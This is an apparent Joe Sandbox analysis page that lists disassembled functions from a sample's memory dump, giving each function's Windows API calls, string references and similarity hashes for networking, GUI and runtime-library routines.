Function 00007FF6BB1B2A18 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF6BB1B2A8F
inet_addr.WSOCK32 ref: 00007FF6BB1B2AED
gethostbyname.WSOCK32 ref: 00007FF6BB1B2AFA
IcmpCreateFile.IPHLPAPI ref: 00007FF6BB1B2B08
IcmpSendEcho.IPHLPAPI ref: 00007FF6BB1B2BAD
IcmpCloseHandle.IPHLPAPI ref: 00007FF6BB1B2C77
WSACleanup.WSOCK32 ref: 00007FF6BB1B2C7D

Strings

5, xrefs: 00007FF6BB1B2B79
Ping, xrefs: 00007FF6BB1B2B3F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
String ID: 5$Ping
API String ID: 1486594354-1972892582
Opcode ID: b1bea8177ce3a97a632dbf446817c1dc0ff42a2f6e09bfff3974867907179b2a
Instruction ID: 8f4f96f2d90dd131a9842f709fa23b1cf2373cc59575568ac63f86bd37e36cd8
Opcode Fuzzy Hash: b1bea8177ce3a97a632dbf446817c1dc0ff42a2f6e09bfff3974867907179b2a
Instruction Fuzzy Hash: D4715C62A08A4286EB20DB2AD49437D7BA0FF89B98F058431DB5EC77B5CF7CD5468740

Function 00007FF6BB15D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15D681

Strings

NAN, xrefs: 00007FF6BB15D565
NAN(SNAN), xrefs: 00007FF6BB15D599
nan(snan), xrefs: 00007FF6BB15D5A4
NAN(IND), xrefs: 00007FF6BB15D5AF
nan(ind), xrefs: 00007FF6BB15D5BA
nan, xrefs: 00007FF6BB15D56C
inf, xrefs: 00007FF6BB15D58A
INF, xrefs: 00007FF6BB15D577

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction ID: ddc2508198a9801837ad0aaf70605483e5fed035b8e95fe0b25dbaeda9863485
Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction Fuzzy Hash: AD416972A0AB45C9FB54CF29E8517AE33A4FB19398F404536EB5C87BA9DE38D025C344

Function 00007FF6BB1976D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000001,00007FF6BB16C8E3,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00007FF6BB123F7D), ref: 00007FF6BB19770E
LoadStringW.USER32 ref: 00007FF6BB197728
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BB19776B
MessageBoxW.USER32 ref: 00007FF6BB1977FF

Strings

Error: , xrefs: 00007FF6BB1977BE
Line %d (File "%s"):, xrefs: 00007FF6BB197792
Line %d:, xrefs: 00007FF6BB197781
., xrefs: 00007FF6BB1977DC
%s (%d) : ==> %s.: %s %s, xrefs: 00007FF6BB197755

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: HandleLoadMessageModuleStringwprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 4007322891-4153970271
Opcode ID: d2c53d1d959ddbb042106dfbd728545592dc85493fc1c840e99c250cd80bea81
Instruction ID: f339ab487095a57bbd170f6bde20a9abbfd2c0e3dc4f25632c3cc55bc289e76e
Opcode Fuzzy Hash: d2c53d1d959ddbb042106dfbd728545592dc85493fc1c840e99c250cd80bea81
Instruction Fuzzy Hash: 7D314232A18A8692EB10DB19E8455FD6360FF58B88F944032EB4D877B9DF7CD506CB50

Function 00007FF6BB18E08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB190730: GetClassNameW.USER32 ref: 00007FF6BB19075B

SendMessageW.USER32 ref: 00007FF6BB18E125
GetDlgCtrlID.USER32 ref: 00007FF6BB18E137
GetParent.USER32 ref: 00007FF6BB18E148
SendMessageW.USER32 ref: 00007FF6BB18E15C
GetDlgCtrlID.USER32 ref: 00007FF6BB18E168
GetParent.USER32 ref: 00007FF6BB18E177
SendMessageW.USER32 ref: 00007FF6BB18E18B

Strings

ListBox, xrefs: 00007FF6BB18E0DF
ComboBox, xrefs: 00007FF6BB18E0A6

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: a8d2e2293dbfee37da9a2fe869a5b922080c116a80800c43aba43d92898523f5
Instruction ID: 665ad718868bce4fd58548ef58f09f40f7db35ff2a378a727baa6ea4cae2dd7b
Opcode Fuzzy Hash: a8d2e2293dbfee37da9a2fe869a5b922080c116a80800c43aba43d92898523f5
Instruction Fuzzy Hash: C2317136A08A81C2FA14DB19E8541B86361FF8DBE8F444231DFAD877E6CE2CD509C750

Function 00007FF6BB19CA98 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF6BB19CAB8
gethostname.WSOCK32 ref: 00007FF6BB19CAD0
gethostbyname.WSOCK32 ref: 00007FF6BB19CADB
wcscpy.LIBCMT ref: 00007FF6BB19CB12
inet_ntoa.WSOCK32 ref: 00007FF6BB19CB38
wcscpy.LIBCMT ref: 00007FF6BB19CB61
WSACleanup.WSOCK32 ref: 00007FF6BB19CB6E
wcscpy.LIBCMT ref: 00007FF6BB19CB80

Strings

0.0.0.0, xrefs: 00007FF6BB19CB08

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2479661705-3771769585
Opcode ID: 5bd4a66129f85cfbef26a4d83ab52e864799b409ed7e15ef3bdc7b769243edec
Instruction ID: f873eab5bd12863e3afe449d585a8df9f531dcdca4659d4bda03996fd5f52eb8
Opcode Fuzzy Hash: 5bd4a66129f85cfbef26a4d83ab52e864799b409ed7e15ef3bdc7b769243edec
Instruction Fuzzy Hash: E9214121A0898281EA24AB19E5543BD6361FF9CBDCF444135DB8EC76B6DE6CE545C700

Function 00007FF6BB1D0D7C Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

PostMessageW.USER32 ref: 00007FF6BB1D0DEE
GetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BB1D0DFF
GetDlgCtrlID.USER32 ref: 00007FF6BB1D0E0C
GetMenuItemInfoW.USER32 ref: 00007FF6BB1D0F43
GetMenuItemCount.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BB1D0F61
GetMenuItemID.USER32 ref: 00007FF6BB1D0F76
GetMenuItemInfoW.USER32 ref: 00007FF6BB1D0FB1
GetMenuItemInfoW.USER32 ref: 00007FF6BB1D0FFC
CheckMenuRadioItem.USER32 ref: 00007FF6BB1D1033

Part of subcall function 00007FF6BB1CFB28: IsWindow.USER32 ref: 00007FF6BB1CFBED
Part of subcall function 00007FF6BB1CFB28: IsWindowEnabled.USER32 ref: 00007FF6BB1CFBFA

DefDlgProcW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BB1D106A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
String ID:
API String ID: 2672075419-0
Opcode ID: 00206208f043b59e126de0eddc01da4ce03cfcd4bf5ebed845e1004edded0efd
Instruction ID: 12ae7b7e9e48c34591048d8ecb54a947ecb69aeab78a5ff404665269ae53e687
Opcode Fuzzy Hash: 00206208f043b59e126de0eddc01da4ce03cfcd4bf5ebed845e1004edded0efd
Instruction Fuzzy Hash: 65919B36B486568AEB609F69E4957BD23A5FB88B8CF104035DF0DC76A9CF39E445C700

Function 00007FF6BB1992E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6BB199318
GetForegroundWindow.USER32(?,?,?,00007FF6BB1980FE), ref: 00007FF6BB199329
GetWindowThreadProcessId.USER32 ref: 00007FF6BB199334
AttachThreadInput.USER32(?,?,?,00007FF6BB1980FE), ref: 00007FF6BB199348
GetWindowThreadProcessId.USER32 ref: 00007FF6BB19935E
AttachThreadInput.USER32(?,?,?,00007FF6BB1980FE), ref: 00007FF6BB19937A
AttachThreadInput.USER32(?,?,?,00007FF6BB1980FE), ref: 00007FF6BB199393
AttachThreadInput.USER32(?,?,?,00007FF6BB1980FE), ref: 00007FF6BB1993D2
AttachThreadInput.USER32(?,?,?,00007FF6BB1980FE), ref: 00007FF6BB1993ED
AttachThreadInput.USER32(?,?,?,00007FF6BB1980FE), ref: 00007FF6BB199400

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction ID: 28cb936568e8dcccbea1030ea9a16bbf37dbb804020f3f2ff716db82b252e974
Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction Fuzzy Hash: 41318D34F0865296EB608F2EE94423973A6BB4C794F544038CE4EC7775DE3DE9468700

Function 00007FF6BB18F7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

CLASS, xrefs: 00007FF6BB18F8A8, 00007FF6BB18F8D1
CLASSNN, xrefs: 00007FF6BB18F924, 00007FF6BB18F935
NAME, xrefs: 00007FF6BB18FAA9, 00007FF6BB18FABA
REGEXPCLASS, xrefs: 00007FF6BB18F988, 00007FF6BB18F99D
INSTANCE, xrefs: 00007FF6BB18FCC3, 00007FF6BB18FCD4
TEXT, xrefs: 00007FF6BB18FD2F, 00007FF6BB18FD40

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 0-1603158881
Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction ID: 8d3f1a81feebda1638660946418310cf0b57f4991590f40b22089149c634dcfd
Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction Fuzzy Hash: 5712B162F1964392FA688B29CC112F96391BF6C78CF944931DB1EC62B0EF7CE545D210

Function 00007FF6BB1B767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6BB1B77E3
VariantInit.OLEAUT32 ref: 00007FF6BB1B7920
VariantClear.OLEAUT32 ref: 00007FF6BB1B792A

Strings

_NewEnum, xrefs: 00007FF6BB1B76AB
Incorrect Object type in FOR..IN loop, xrefs: 00007FF6BB1B78FC
get__NewEnum, xrefs: 00007FF6BB1B76D1
Null Object assignment in FOR..IN loop, xrefs: 00007FF6BB1B799D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Variant$Init$Clear
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
API String ID: 3467423407-1765764032
Opcode ID: 06861a0f374b091e69641cdef65bc72c09dcd720b2ec6ad59c9fb3a399981ff7
Instruction ID: 324cb30fbffa3d1c3786e6bf688c12e1e65b972f286c568140354d7e0c1f2d26
Opcode Fuzzy Hash: 06861a0f374b091e69641cdef65bc72c09dcd720b2ec6ad59c9fb3a399981ff7
Instruction Fuzzy Hash: 89A17A32A08B4286EB209F69E4406AD77A1FB88B9CF540136DF4D87BA8DF3CE545C750

Function 00007FF6BB1CA350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SendMessageW.USER32 ref: 00007FF6BB1CA461
SendMessageW.USER32 ref: 00007FF6BB1CA47A
SetWindowPos.USER32 ref: 00007FF6BB1CA4A7
wcscat.LIBCMT ref: 00007FF6BB1CA509
SendMessageW.USER32 ref: 00007FF6BB1CA51D
SendMessageW.USER32 ref: 00007FF6BB1CA54E

Strings

SysListView32, xrefs: 00007FF6BB1CA3B0
-----, xrefs: 00007FF6BB1CA4FB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction ID: 530ea59544c27b370fda342a060a91e9440ef90aea3021327175b78857bee0e6
Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction Fuzzy Hash: 4051C532A147918AE720CF69E8446DD37A1FB88788F40413ADF4D87B69CF39D954CB40

Function 00007FF6BB1B7054 Relevance: 13.9, APIs: 9, Instructions: 373COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6BB1B7168
FreeLibrary.KERNEL32 ref: 00007FF6BB1B71A9
QueryPathOfRegTypeLib.OLEAUT32 ref: 00007FF6BB1B73B2
SysFreeString.OLEAUT32 ref: 00007FF6BB1B73E7
StringFromGUID2.OLE32 ref: 00007FF6BB1B7585

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FreeString$FileFromLibraryModuleNamePathQueryType
String ID:
API String ID: 1903627254-0
Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction ID: 88d7435230e5affb8ef3c0b19aeba3fcb6a780bac8d03acce4a274852a8d6403
Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction Fuzzy Hash: 4B023C66A08A8686EB60DF2AD4841AD7770FB89B88F515032EF4E87B74DF3CD549C710

Function 00007FF6BB18D780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6BB18D7A2
HeapAlloc.KERNEL32 ref: 00007FF6BB18D7B4
GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7BD
GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7C6
DuplicateHandle.KERNEL32 ref: 00007FF6BB18D7EA
GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7F0
GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7F9
DuplicateHandle.KERNEL32 ref: 00007FF6BB18D81E
CreateThread.KERNEL32 ref: 00007FF6BB18D844

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction ID: 1969c2319330b7c51bed41f744f42da1382d36d566deeaaf66e7d0a55218a94c
Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction Fuzzy Hash: 54213972959B8182E710CF56F44936AB7A0F789FDAF044129DB8D03B64CF7CD1488B00

Function 00007FF6BB1D0B24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

Part of subcall function 00007FF6BB121CEC: GetCursorPos.USER32 ref: 00007FF6BB121D1B
Part of subcall function 00007FF6BB121CEC: ScreenToClient.USER32 ref: 00007FF6BB121D3A
Part of subcall function 00007FF6BB121CEC: GetAsyncKeyState.USER32 ref: 00007FF6BB121D62
Part of subcall function 00007FF6BB121CEC: GetAsyncKeyState.USER32 ref: 00007FF6BB121D82

ImageList_DragLeave.COMCTL32 ref: 00007FF6BB1D0BA4
ImageList_EndDrag.COMCTL32 ref: 00007FF6BB1D0BAA
ReleaseCapture.USER32 ref: 00007FF6BB1D0BB0
SetWindowTextW.USER32 ref: 00007FF6BB1D0C5E
SendMessageW.USER32 ref: 00007FF6BB1D0C73

Strings

@GUI_DROPID, xrefs: 00007FF6BB1D0C99
@GUI_DRAGFILE, xrefs: 00007FF6BB1D0CE0

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 3721556410-2107944366
Opcode ID: e424b8ba90b8cb576c13d3bd55b6e87e28f81c9c83d36e72b9ea610c100b602d
Instruction ID: 95d4505f25ac4255c4a0c7be71bb369d2fa9d50f4299aed2d8d0e1176ace75e1
Opcode Fuzzy Hash: e424b8ba90b8cb576c13d3bd55b6e87e28f81c9c83d36e72b9ea610c100b602d
Instruction Fuzzy Hash: 99618B22A14A5289EB10DF69E8815ED3B70FB48B9CF541132EE0D93AB9CE39E545C340

Function 00007FF6BB19A070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF6BB19A12F
IsMenu.USER32 ref: 00007FF6BB19A151
CreatePopupMenu.USER32 ref: 00007FF6BB19A183
GetMenuItemCount.USER32 ref: 00007FF6BB19A1DD
InsertMenuItemW.USER32 ref: 00007FF6BB19A209

Strings

P, xrefs: 00007FF6BB19A0D0
2, xrefs: 00007FF6BB19A167

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 2$P
API String ID: 93392585-1110268094
Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction ID: ea074987d731f3e084ea3bb19dd38f46627a205d741976d49fe41f933307f40d
Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction Fuzzy Hash: 2A51C432E1A6C289F7648F69E4402BD77A5BB4875CF244135DB9D936B6CF38E48AC700

